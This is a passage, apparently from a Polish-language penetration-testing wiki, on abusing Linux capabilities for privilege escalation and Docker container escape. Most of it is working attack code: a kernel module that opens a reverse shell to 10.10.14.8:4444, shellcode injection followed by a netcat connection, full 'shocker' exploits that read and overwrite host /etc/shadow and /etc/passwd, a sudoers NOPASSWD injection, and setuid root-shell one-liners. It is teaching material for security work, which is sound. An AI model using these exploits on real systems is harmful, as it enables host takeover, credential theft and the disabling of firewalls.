Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root

Lista procesów działających na hostingu ps -eaf

  1. Pobierz architekturę uname -m

  2. Znajdź shellcode dla tej architektury (https://www.exploit-db.com/exploits/41128)

  3. Znajdź program, który wstrzyknie shellcode do pamięci procesu (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)

  4. Zmodyfikuj shellcode wewnątrz programu i skompiluj go gcc inject.c -o inject

  5. Wstrzyknij go i złap swoją powłokę: ./inject 299; nc 172.17.0.1 5600

CAP_SYS_MODULE

CAP_SYS_MODULE umożliwia procesowi ładowanie i usuwanie modułów jądra (systemowe wywołania init_module(2), finit_module(2) i delete_module(2)), oferując bezpośredni dostęp do podstawowych operacji jądra. Ta zdolność niesie ze sobą poważne ryzyko bezpieczeństwa, ponieważ umożliwia eskalację uprawnień i całkowite skompromitowanie systemu, umożliwiając modyfikacje jądra i omijanie wszystkich mechanizmów bezpieczeństwa Linuxa, w tym modułów bezpieczeństwa Linuxa i izolacji kontenerów. Oznacza to, że możesz wstawiać/usuwać moduły jądra w/ze jądra maszyny hostującej.

Przykład z użyciem binarnego pliku

W poniższym przykładzie binarny plik python ma tę zdolność.

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep

Domyślnie polecenie modprobe sprawdza listę zależności i pliki mapy w katalogu /lib/modules/$(uname -r). Aby wykorzystać to, stwórzmy fałszywy folder lib/modules:

mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)

Następnie skompiluj moduł jądra, poniżej znajdziesz 2 przykłady, a następnie skopiuj go do tego folderu:

cp reverse-shell.ko lib/modules/$(uname -r)/

Wreszcie, wykonaj potrzebny kod Pythona, aby załadować ten moduł jądra:

import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")

Przykład 2 z plikiem binarnym

W poniższym przykładzie plik binarny kmod ma tę zdolność.

getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep

Co oznacza, że można użyć polecenia insmod do wstawienia modułu jądra. Przyjrzyj się poniższemu przykładowi, aby uzyskać odwróconą powłokę wykorzystując tę uprzywilejowaną możliwość.

Przykład z użyciem środowiska (przełamanie Docker)

Możesz sprawdzić włączone uprawnienia wewnątrz kontenera Docker, używając:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

W poprzednim wyniku można zobaczyć, że możliwość SYS_MODULE jest włączona.

Utwórz moduł jądra, który będzie wykonywał odwróconą powłokę i Makefile, aby go skompilować:

reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Makefile
obj-m +=reverse-shell.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Pusty znak przed każdym słowem make w pliku Makefile musi być tabulatorem, a nie spacją!

Wykonaj polecenie make, aby go skompilować.

ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory.  Stop.

sudo apt update
sudo apt full-upgrade

Wreszcie, uruchom nc wewnątrz powłoki i załaduj moduł z innej powłoki, aby przechwycić powłokę w procesie nc:

#Shell 1
nc -lvnp 4444

#Shell 2
insmod reverse-shell.ko #Launch the reverse shell

Kod tej techniki został skopiowany z laboratorium "Wykorzystywanie uprawnień SYS_MODULE" ze strony https://www.pentesteracademy.com/

Inny przykład tej techniki można znaleźć pod adresem https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host

CAP_DAC_READ_SEARCH umożliwia procesowi ominięcie uprawnień do odczytu plików oraz odczytu i wykonania katalogów. Jego głównym zastosowaniem jest wyszukiwanie plików lub odczyt. Jednakże, umożliwia również procesowi użycie funkcji open_by_handle_at(2), która może uzyskać dostęp do dowolnego pliku, włącznie z tymi spoza przestrzeni montowania procesu. Uchwyt używany w open_by_handle_at(2) powinien być nieprzezroczystym identyfikatorem uzyskanym za pomocą name_to_handle_at(2), ale może zawierać wrażliwe informacje, takie jak numery i-węzłów, które są podatne na manipulację. Potencjał wykorzystania tej zdolności, zwłaszcza w kontekście kontenerów Docker, został zademonstrowany przez Sebastiana Krahmera za pomocą exploitu shocker, jak analizuje się tutaj. Oznacza to, że można ominąć sprawdzanie uprawnień do odczytu plików oraz sprawdzanie uprawnień do odczytu/wykonania katalogów.

Przykład z użyciem binariów

Binarny plik będzie mógł odczytać dowolny plik. Jeśli plik, na przykład tar, ma tę zdolność, będzie mógł odczytać plik shadow:

cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz

Przykład z binary2

W tym przypadku załóżmy, że binarny plik python ma tę zdolność. Aby wyświetlić listę plików roota, możesz wykonać:

import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)

Aby odczytać plik, można wykonać:

print(open("/etc/shadow", "r").read())

Przykład w środowisku (Docker breakout)

Możesz sprawdzić włączone uprawnienia wewnątrz kontenera Docker za pomocą:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

W poprzednim wyniku można zobaczyć, że włączona jest zdolność DAC_READ_SEARCH. W rezultacie kontener może debugować procesy.

Możesz dowiedzieć się, jak działa następujące wykorzystanie pod adresem https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3, ale w skrócie CAP_DAC_READ_SEARCH nie tylko pozwala nam na przeglądanie systemu plików bez sprawdzania uprawnień, ale także wyraźnie usuwa wszelkie sprawdzanie open_by_handle_at(2) i może pozwolić naszemu procesowi na odczytywanie wrażliwych plików otwartych przez inne procesy.

Oryginalne wykorzystanie, które wykorzystuje te uprawnienia do odczytywania plików z hosta, można znaleźć tutaj: http://stealth.openwall.net/xSports/shocker.c, poniżej znajduje się zmodyfikowana wersja, która pozwala wskazać plik, który chcesz odczytać jako pierwszy argument i zrzucić go do pliku.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};

void die(const char *msg)
{
perror(msg);
exit(errno);
}

void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}

int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}

++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}

fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}


int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};

fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");

read(0, buf, 1);

// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");

if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");

fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);

if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");

memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");

printf("Success!!\n");

FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);

close(fd2); close(fd1);

return 0;
}

W celu wykorzystania podatności, należy znaleźć wskaźnik do czegoś zamontowanego na hoście. Oryginalna podatność używała pliku /.dockerinit, a ta zmodyfikowana wersja używa /etc/hostname. Jeśli podatność nie działa, być może trzeba ustawić inny plik. Aby znaleźć plik zamontowany na hoście, wystarczy wykonać polecenie mount:

Kod tej techniki został skopiowany z laboratorium "Wykorzystywanie zdolności DAC_READ_SEARCH" z https://www.pentesteracademy.com/

​​​​​​​​​​​RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Mając misję promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.

CAP_DAC_OVERRIDE

Oznacza to, że można ominąć sprawdzanie uprawnień do zapisu dla dowolnego pliku, więc można zapisać dowolny plik.

Istnieje wiele plików, które można nadpisać, aby podnieść uprawnienia, możesz czerpać pomysły stąd.

Przykład z użyciem binarnego pliku

W tym przykładzie vim ma tę zdolność, więc można modyfikować dowolny plik, tak jak passwd, sudoers lub shadow:

getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep

vim /etc/sudoers #To overwrite it

Przykład z binarnym plikiem 2

W tym przykładzie binarny plik python będzie miał tę zdolność. Możesz użyć pythona do nadpisania dowolnego pliku:

file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()

Przykład z użyciem środowiska + CAP_DAC_READ_SEARCH (przełamanie Docker)

Możesz sprawdzić włączone uprawnienia wewnątrz kontenera Docker za pomocą:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Po pierwsze, przeczytaj poprzednią sekcję, która wykorzystuje uprawnienie DAC_READ_SEARCH do odczytywania dowolnych plików na hoście i skompiluj exploit. Następnie, skompiluj poniższą wersję exploitu shocker, która umożliwi zapisywanie dowolnych plików w systemie plików hosta:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}

Aby uciec z kontenera Docker, można pobrać pliki /etc/shadow i /etc/passwd z hosta, dodać do nich nowego użytkownika i użyć shocker_write do ich nadpisania. Następnie można uzyskać dostęp za pomocą ssh.

Kod tej techniki został skopiowany z laboratorium "Wykorzystywanie zdolności DAC_OVERRIDE" z https://www.pentesteracademy.com

CAP_CHOWN

Oznacza to, że można zmienić właściciela dowolnego pliku.

Przykład z użyciem binariów

Załóżmy, że binarny plik python ma tę zdolność, można zmienić właściciela pliku shadow, zmienić hasło roota i podnieść uprawnienia:

python -c 'import os;os.chown("/etc/shadow",1000,1000)'

Lub z użyciem binarnego pliku ruby posiadającego tę zdolność:

ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'

CAP_FOWNER

Oznacza to, że można zmienić uprawnienia dowolnego pliku.

Przykład z użyciem pliku binarnego

Jeśli Python ma tę zdolność, można zmienić uprawnienia pliku shadow, zmienić hasło roota i podnieść uprawnienia:

python -c 'import os;os.chmod("/etc/shadow",0666)

CAP_SETUID

Oznacza to, że można ustawić efektywne ID użytkownika utworzonego procesu.

Przykład z użyciem pliku binarnego

Jeśli python ma tę zdolność, można ją łatwo wykorzystać do eskalacji uprawnień do konta root:

import os
os.setuid(0)
os.system("/bin/bash")

Inny sposób:

import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")

CAP_SETGID

To oznacza, że można ustawić efektywne ID grupy utworzonego procesu.

Istnieje wiele plików, które można nadpisać, aby podnieść uprawnienia, możesz zaczerpnąć pomysły stąd.

Przykład z użyciem pliku binarnego

W tym przypadku powinieneś szukać interesujących plików, które grupa może odczytać, ponieważ możesz podszywać się pod dowolną grupę:

#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null

Gdy już znajdziesz plik, który można wykorzystać (poprzez odczyt lub zapis) do eskalacji uprawnień, możesz uzyskać powłokę, podszywając się pod interesującą grupę za pomocą:

import os
os.setgid(42)
os.system("/bin/bash")

W tym przypadku grupa shadow została podrobiona, dzięki czemu można odczytać plik /etc/shadow:

cat /etc/shadow

Jeśli zainstalowano docker, można udawać grupę docker i wykorzystać to do komunikacji z gniazdem docker i eskalacji uprawnień.

CAP_SETFCAP

Oznacza to, że można ustawiać uprawnienia dla plików i procesów

Przykład z użyciem pliku binarnego

Jeśli python ma tę zdolność, można łatwo z niej skorzystać, aby eskalować uprawnienia do roota:

setcapability.py
import ctypes, sys

#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")

libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]

#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)

if(status == 0):
print (cap + " was successfully added to " + path)
python setcapability.py /usr/bin/python2.7

Zauważ, że jeśli ustawisz nową zdolność dla pliku binarnego za pomocą CAP_SETFCAP, stracisz tę zdolność.

Gdy już posiadasz zdolność SETUID, możesz przejść do jej sekcji, aby zobaczyć, jak podnieść uprawnienia.

Przykład z wykorzystaniem środowiska (przełamanie Docker)

Domyślnie zdolność CAP_SETFCAP jest przyznawana procesowi wewnątrz kontenera w Dockerze. Możesz to sprawdzić wykonując coś takiego:

cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000

capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

Ta zdolność pozwala przydzielić dowolną inną zdolność binarnym plikom wykonywalnym, więc możemy rozważyć ucieczkę z kontenera, wykorzystując jedno z innych naruszeń zdolności wymienionych na tej stronie. Jednak jeśli spróbujesz na przykład przydzielić zdolności CAP_SYS_ADMIN i CAP_SYS_PTRACE do pliku wykonywalnego gdb, zauważysz, że możesz je przydzielić, ale plik nie będzie w stanie się wykonać po tym:

getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip

setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb

/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted

Z dokumentacji: Dozwolone: Jest to ograniczający nadzbiór dla efektywnych uprawnień, które wątek może przyjąć. Jest to również ograniczający nadzbiór dla uprawnień, które mogą być dodane do zestawu dziedzicznego przez wątek, który nie ma uprawnienia CAP_SETPCAP w swoim zestawie efektywnym. Wygląda na to, że uprawnienia Dozwolone ograniczają te, które mogą być używane. Jednak Docker domyślnie udziela również uprawnienia CAP_SETPCAP, więc być może będziesz w stanie ustawić nowe uprawnienia wewnątrz zestawu dziedzicznego. Jednak w dokumentacji tego uprawnienia: CAP_SETPCAP: […] dodaje dowolne uprawnienie z zestawu ograniczającego wątku wywołującego do jego zestawu dziedzicznego. Wygląda na to, że możemy dodawać do zestawu dziedzicznego tylko uprawnienia z zestawu ograniczającego. Oznacza to, że nie możemy umieścić nowych uprawnień, takich jak CAP_SYS_ADMIN lub CAP_SYS_PTRACE, w zestawie dziedzicznym w celu eskalacji uprawnień.

CAP_SYS_RAWIO

CAP_SYS_RAWIO zapewnia wiele wrażliwych operacji, w tym dostęp do /dev/mem, /dev/kmem lub /proc/kcore, modyfikację mmap_min_addr, dostęp do wywołań systemowych ioperm(2) i iopl(2), oraz różne polecenia dyskowe. Poprzez to uprawnienie jest również włączane FIBMAP ioctl(2), co w przeszłości powodowało problemy (link). Zgodnie z dokumentacją, uprawnienie to pozwala również na wykonywanie opisowych operacji specyficznych dla urządzeń na innych urządzeniach.

Może to być przydatne do eskalacji uprawnień i wydostania się z Dockera.

CAP_KILL

Oznacza to, że można zabić dowolny proces.

Przykład z użyciem binariów

Załóżmy, że binarny plik python ma to uprawnienie. Jeśli moglibyśmy również zmodyfikować pewną konfigurację usługi lub gniazda (lub dowolny plik konfiguracyjny związany z usługą), moglibyśmy tam umieścić pułapkę, a następnie zabić proces związany z tą usługą i poczekać, aż nowy plik konfiguracyjny zostanie wykonany z naszą pułapką.

#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)

Przywileje związane z kill

Jeśli masz uprawnienia do kill i uruchomiony jest program node jako root (lub jako inny użytkownik), prawdopodobnie możesz wysłać mu sygnał SIGUSR1, co spowoduje otwarcie debugera node, do którego będziesz mógł się podłączyć.

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
pageNode inspector/CEF debug abuse

​​​​​​​​​​​​RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.

CAP_NET_BIND_SERVICE

Oznacza to, że możliwe jest nasłuchiwanie na dowolnym porcie (nawet na uprzywilejowanych). Nie można bezpośrednio podnieść uprawnień za pomocą tej zdolności.

Przykład z użyciem binariów

Jeśli python ma tę zdolność, będzie mógł nasłuchiwać na dowolnym porcie i nawet łączyć się z dowolnym innym portem (niektóre usługi wymagają połączeń z określonych portów o uprzywilejowanych uprawnieniach)

import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
output = connection.recv(1024).strip();
print(output)

CAP_NET_RAW

CAP_NET_RAW umożliwia procesom tworzenie gniazd RAW i PACKET, umożliwiając generowanie i wysyłanie dowolnych pakietów sieciowych. Może to prowadzić do ryzyka bezpieczeństwa w środowiskach kontenerowych, takich jak podszywanie się pod pakiety, wstrzykiwanie ruchu i omijanie kontroli dostępu do sieci. Złośliwi aktorzy mogą wykorzystać to do zakłócenia routingu kontenera lub naruszenia bezpieczeństwa sieci hosta, zwłaszcza bez odpowiedniej ochrony zapory sieciowej. Dodatkowo, CAP_NET_RAW jest niezbędne dla uprzywilejowanych kontenerów w celu obsługi operacji takich jak ping za pomocą żądań ICMP RAW.

Oznacza to, że możliwe jest podsłuchiwanie ruchu. Nie można bezpośrednio eskalować uprawnień za pomocą tej zdolności.

Przykład z użyciem binariów

Jeśli binarny plik tcpdump ma tę zdolność, będzie można go użyć do przechwytywania informacji sieciowych.

getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep

Zauważ, że jeśli środowisko udostępnia tę zdolność, można również użyć tcpdump do podsłuchiwania ruchu.

Przykład z binarnym 2

Poniższy przykład to kod python2, który może być przydatny do przechwytywania ruchu interfejsu "lo" (localhost). Kod pochodzi z laboratorium "Podstawy: CAP-NET_BIND + NET_RAW" z https://attackdefense.pentesteracademy.com/

import socket
import struct

flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]

def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if( flag_value & 1 <<i ):
flag= flag + flags[8-i] + ","
return flag[:-1]

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))

flag=""
count=0
while True:
frame=s.recv(4096)
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
proto=ip_header[6]
ip_header_size = (ip_header[0] & 0b1111) * 4
if(proto==6):
protocol="TCP"
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])

elif(proto==17):
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]

if (proto == 17 or proto == 6):
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
count=count+1

CAP_NET_ADMIN + CAP_NET_RAW

CAP_NET_ADMIN umożliwia posiadaczowi zmianę konfiguracji sieciowej, w tym ustawienia zapory sieciowej, tabele routingu, uprawnienia gniazd i ustawienia interfejsu sieciowego w ramach dostępnych przestrzeni nazw sieciowych. Umożliwia również włączanie trybu promiskuitywnego na interfejsach sieciowych, co pozwala na podsłuchiwanie pakietów między przestrzeniami nazw.

Przykład z użyciem pliku binarnego

Załóżmy, że plik binarny python ma te uprawnienia.

#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)

#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')

CAP_LINUX_IMMUTABLE

Oznacza to, że można modyfikować atrybuty inode. Nie można bezpośrednio eskalować uprawnień za pomocą tej zdolności.

Przykład z użyciem pliku binarnego

Jeśli odkryjesz, że plik jest niezmienny, a python ma tę zdolność, możesz usunąć atrybut niezmienności i umożliwić modyfikację pliku:

#Check that the file is imutable
lsattr file.sh
